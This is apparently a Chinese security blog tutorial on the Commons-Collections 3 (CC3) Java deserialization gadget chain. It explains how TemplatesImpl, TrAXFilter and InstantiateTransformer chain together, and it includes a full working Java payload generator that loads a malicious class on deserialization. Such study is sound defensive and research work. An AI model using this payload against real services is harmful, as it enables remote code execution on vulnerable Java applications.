Java反序列化之CC3

CC3

参考:https://www.cnblogs.com/1vxyz/p/17458691.html
环境:jdk8u65 && Commons-collections 3.2.1
CC1和CC6都是利用invoke反射调用Runtime.getRuntime.exec()来执行命令
而CC3则是利用类加载机制 动态加载恶意类自动执行恶意类的代码
CC3 based on TemplatesImpl类加载 所以我们得先找TemplatesImpl的链子

1
2
3
4
5
6
InstantiateTransformer.transform ->
TrAXFilter::TrAXFilter() ->
TemplatesImpl::newTransformer() ->
TemplatesImpl::getTransletInstance() ->
TemplatesImpl::defineTransletClasses() ->
TransletClassLoader::defineClass()

我们挑要条件的讲讲

为了满足条件 _name不能为空 _class要为空 这样就能进到defineTransletClasses()

为了满足条件 _bytecodes不能为空 而且_bytecodes正是我们要加载恶意类代码的地方
这里需要的是byte[][] 但是传入defineClass的是一个一维数组 我们可以按照如下方法赋值

1
2
byte[] evil = Files.readAllBytes(Paths.get("evil.class"));  
byte[][] codes = {evil};

同时_tfactory也不能为空 而且其带了transient属性 无法写进序列化数据 这个后面readObject里会给它赋值
这边还有一个空指针异常的问题

这里主要判断defineClass的这个类的父类是否是ABSTRACT_TRANSLET 如果我们不选择进这个if的话 后面还要判断_transletIndex 虽然这个好像可以通过反射解决 但是还得处理_auxClasses空指针的问题 这位更是个transient 所以我们还是给恶意类继承一下 再把要override给做了就行

到这里可以结合CC1或者CC6 就是把原来的transformers[]数组中exec命令执行换成了加载恶意类

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};

但是CC3毕竟是CC3 由newTransformer上面还有路子可走
我们找到了TrAXFilter的构造函数

但是TrAXFilter并没有继承Serializable 所以我们还得找一个可以序列化的类 正好能够调用TrAXFilter的构造函数
这里用transform嵌套其实也可以 和套几层序列化Runtime是一样的
但是没想到还有一个完美的类 能够序列化 还能直接调用构造函数并返回实例 并且方法还是transform

把这个InstantiateTranformer实例化一个 再塞到transformers[]数组里就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadget chain:
ObjectInputStream.readObject() ->
AnnotationInvocationHandler.readObject() ->
MapEntry.setValue() ->
TransformedMap.checkSetValue ->
ChainedTransformer.transform() ->
ConstantTransformer.transform() ->
InstantiateTransformer.transform ->
TrAXFilter::TrAXFilter() ->
TemplatesImpl::newTransformer() ->
TemplatesImpl::getTransletInstance() ->
TemplatesImpl::defineTransletClasses() ->
TransletClassLoader::defineClass()

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public class cc3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","jed");

byte[] code = Files.readAllBytes(Paths.get("target/classes/evil.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

//templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
// serialize(o);
unserialize("sercc3.bin");

}

public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin"));
oos.writeObject(o);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

Java反序列化之CC3
http://example.com/2025/04/06/Java反序列化之CC3/
作者
Jednersaous
发布于
2025年4月6日
许可协议